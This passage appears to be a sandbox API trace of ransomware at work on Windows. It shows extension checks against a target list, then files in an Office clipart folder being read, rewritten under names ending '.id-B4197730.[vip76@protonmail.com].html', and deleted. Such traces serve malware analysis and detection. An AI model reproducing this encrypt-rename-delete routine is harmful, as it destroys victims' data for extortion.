	[0076.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.589] lstrlenW (lpString=".1cd") returned 4
	[0076.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.589] lstrlenW (lpString=".jpg") returned 4
	[0076.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.589] lstrlenW (lpString=".doc") returned 4
	[0076.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.589] lstrlenW (lpString=".docx") returned 5
	[0076.589] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0076.589] lstrlenW (lpString=".pdf") returned 4
	[0076.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString=".xls") returned 4
	[0076.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.590] lstrlenW (lpString=".xlsx") returned 5
	[0076.590] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0076.590] lstrlenW (lpString=".ppt") returned 4
	[0076.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.590] lstrlenW (lpString=".zip") returned 4
	[0076.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.590] lstrlenW (lpString=".rar") returned 4
	[0076.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString=".bz2") returned 4
	[0076.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString=".7z") returned 3
	[0076.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.590] lstrlenW (lpString=".dbf") returned 4
	[0076.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.590] lstrlenW (lpString=".1cd") returned 4
	[0076.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0076.590] lstrlenW (lpString=".jpg") returned 4
	[0076.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.590] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.590] lstrlenW (lpString="CUP.WMF") returned 7
	[0076.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.591] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2966) returned 1
	[0076.591] CloseHandle (hObject=0x338) returned 1
	[0076.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220
	[0076.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.591] GetLastError () returned 0x0
	[0076.592] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xb96, lpOverlapped=0x0) returned 1
	[0076.593] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0076.594] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.594] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0076.595] SetEndOfFile (hFile=0x364) returned 1
	[0076.595] CloseHandle (hObject=0x364) returned 1
	[0076.596] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.596] SetEndOfFile (hFile=0x338) returned 1
	[0076.596] CloseHandle (hObject=0x338) returned 1
	[0076.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1
	[0076.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.597] lstrlenW (lpString=".doc") returned 4
	[0076.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.597] lstrlenW (lpString=".docx") returned 5
	[0076.597] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0076.597] lstrlenW (lpString=".pdf") returned 4
	[0076.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.597] lstrlenW (lpString=".xls") returned 4
	[0076.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.597] lstrlenW (lpString=".xlsx") returned 5
	[0076.597] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0076.597] lstrlenW (lpString=".ppt") returned 4
	[0076.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.597] lstrlenW (lpString=".zip") returned 4
	[0076.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.600] lstrlenW (lpString=".rar") returned 4
	[0076.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString=".bz2") returned 4
	[0076.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString=".7z") returned 3
	[0076.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString=".dbf") returned 4
	[0076.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString=".1cd") returned 4
	[0076.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString=".jpg") returned 4
	[0076.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString=".doc") returned 4
	[0076.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString=".docx") returned 5
	[0076.600] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0076.600] lstrlenW (lpString=".pdf") returned 4
	[0076.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString=".xls") returned 4
	[0076.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.600] lstrlenW (lpString=".xlsx") returned 5
	[0076.600] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0076.600] lstrlenW (lpString=".ppt") returned 4
	[0076.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.600] lstrlenW (lpString=".zip") returned 4
	[0076.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.601] lstrlenW (lpString=".rar") returned 4
	[0076.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.601] lstrlenW (lpString=".bz2") returned 4
	[0076.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.601] lstrlenW (lpString=".7z") returned 3
	[0076.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.601] lstrlenW (lpString=".dbf") returned 4
	[0076.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.601] lstrlenW (lpString=".1cd") returned 4
	[0076.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0076.601] lstrlenW (lpString=".jpg") returned 4
	[0076.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.601] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.601] lstrlenW (lpString="CUPINST.WMF") returned 11
	[0076.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.601] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=10326) returned 1
	[0076.602] CloseHandle (hObject=0x338) returned 1
	[0076.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220
	[0076.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.602] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.602] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.602] GetLastError () returned 0x0
	[0076.602] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2856, lpOverlapped=0x0) returned 1
	[0076.604] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2860, lpOverlapped=0x0) returned 1
	[0076.636] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.636] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xea, lpOverlapped=0x0) returned 1
	[0076.636] SetEndOfFile (hFile=0x364) returned 1
	[0076.636] CloseHandle (hObject=0x364) returned 1
	[0076.637] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.637] SetEndOfFile (hFile=0x338) returned 1
	[0076.638] CloseHandle (hObject=0x338) returned 1
	[0076.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1
	[0076.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.639] lstrlenW (lpString=".doc") returned 4
	[0076.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.639] lstrlenW (lpString=".docx") returned 5
	[0076.639] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0076.639] lstrlenW (lpString=".pdf") returned 4
	[0076.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.639] lstrlenW (lpString=".xls") returned 4
	[0076.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.639] lstrlenW (lpString=".xlsx") returned 5
	[0076.639] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0076.639] lstrlenW (lpString=".ppt") returned 4
	[0076.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString=".zip") returned 4
	[0076.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.640] lstrlenW (lpString=".rar") returned 4
	[0076.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString=".bz2") returned 4
	[0076.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString=".7z") returned 3
	[0076.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString=".dbf") returned 4
	[0076.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString=".1cd") returned 4
	[0076.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString=".jpg") returned 4
	[0076.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.640] lstrlenW (lpString=".doc") returned 4
	[0076.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString=".docx") returned 5
	[0076.640] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0076.640] lstrlenW (lpString=".pdf") returned 4
	[0076.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.640] lstrlenW (lpString=".xls") returned 4
	[0076.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.640] lstrlenW (lpString=".xlsx") returned 5
	[0076.640] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0076.640] lstrlenW (lpString=".ppt") returned 4
	[0076.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.641] lstrlenW (lpString=".zip") returned 4
	[0076.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.641] lstrlenW (lpString=".rar") returned 4
	[0076.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.641] lstrlenW (lpString=".bz2") returned 4
	[0076.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.641] lstrlenW (lpString=".7z") returned 3
	[0076.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.641] lstrlenW (lpString=".dbf") returned 4
	[0076.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.641] lstrlenW (lpString=".1cd") returned 4
	[0076.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0076.641] lstrlenW (lpString=".jpg") returned 4
	[0076.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.641] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.641] lstrlenW (lpString="DD00117_.WMF") returned 12
	[0076.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.642] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=31122) returned 1
	[0076.642] CloseHandle (hObject=0x338) returned 1
	[0076.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220
	[0076.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.642] GetLastError () returned 0x0
	[0076.642] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x7992, lpOverlapped=0x0) returned 1
	[0076.798] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x79a0, lpOverlapped=0x0) returned 1
	[0076.799] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.799] WriteFile (in: hFile=0x364, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.799] SetEndOfFile (hFile=0x364) returned 1
	[0083.222] CloseHandle (hObject=0x364) returned 1
	[0083.535] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.535] SetEndOfFile (hFile=0x338) returned 1
	[0083.554] CloseHandle (hObject=0x338) returned 1
	[0083.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1
	[0083.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.571] lstrlenW (lpString=".doc") returned 4
	[0083.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.571] lstrlenW (lpString=".docx") returned 5
	[0083.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.572] lstrlenW (lpString=".pdf") returned 4
	[0083.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString=".xls") returned 4
	[0083.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.572] lstrlenW (lpString=".xlsx") returned 5
	[0083.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.572] lstrlenW (lpString=".ppt") returned 4
	[0083.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString=".zip") returned 4
	[0083.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.572] lstrlenW (lpString=".rar") returned 4
	[0083.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString=".bz2") returned 4
	[0083.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString=".7z") returned 3
	[0083.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString=".dbf") returned 4
	[0083.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0083.572] lstrlenW (lpString=".1cd") returned 4
